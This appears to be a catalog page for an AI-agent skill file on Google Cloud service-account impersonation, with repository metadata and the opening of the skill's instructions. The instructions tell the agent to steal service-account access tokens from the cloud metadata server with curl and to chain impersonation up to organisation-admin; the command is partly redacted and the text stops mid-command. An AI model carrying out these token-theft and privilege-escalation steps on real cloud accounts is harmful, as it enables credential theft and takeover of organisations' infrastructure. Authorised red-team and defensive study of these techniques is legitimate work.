Individual skill
gcp-svc-account-impersonation
GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.
packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md
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- Matches the observed repository HEAD
- Yes
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- Yes
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- No
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- No
- Observed behavior
- Network or broad shell
- Last checked
- Nov 2, 2026
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- Repository stars (not skill ratings)
- 6,563
- Repository last updated
- Nov 7, 2026
- License
- Apache-2.0
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- gcp,-iam,-service-account,-privilege-escalation Declared skill tag
- engineering Derived category
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# GCP Service Account Impersonation
You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.
## Steal the token
### From GCE / GKE / Cloud Run / Functions
```bash
[Credential-related source omitted]
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| jq -r .access_token)
# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \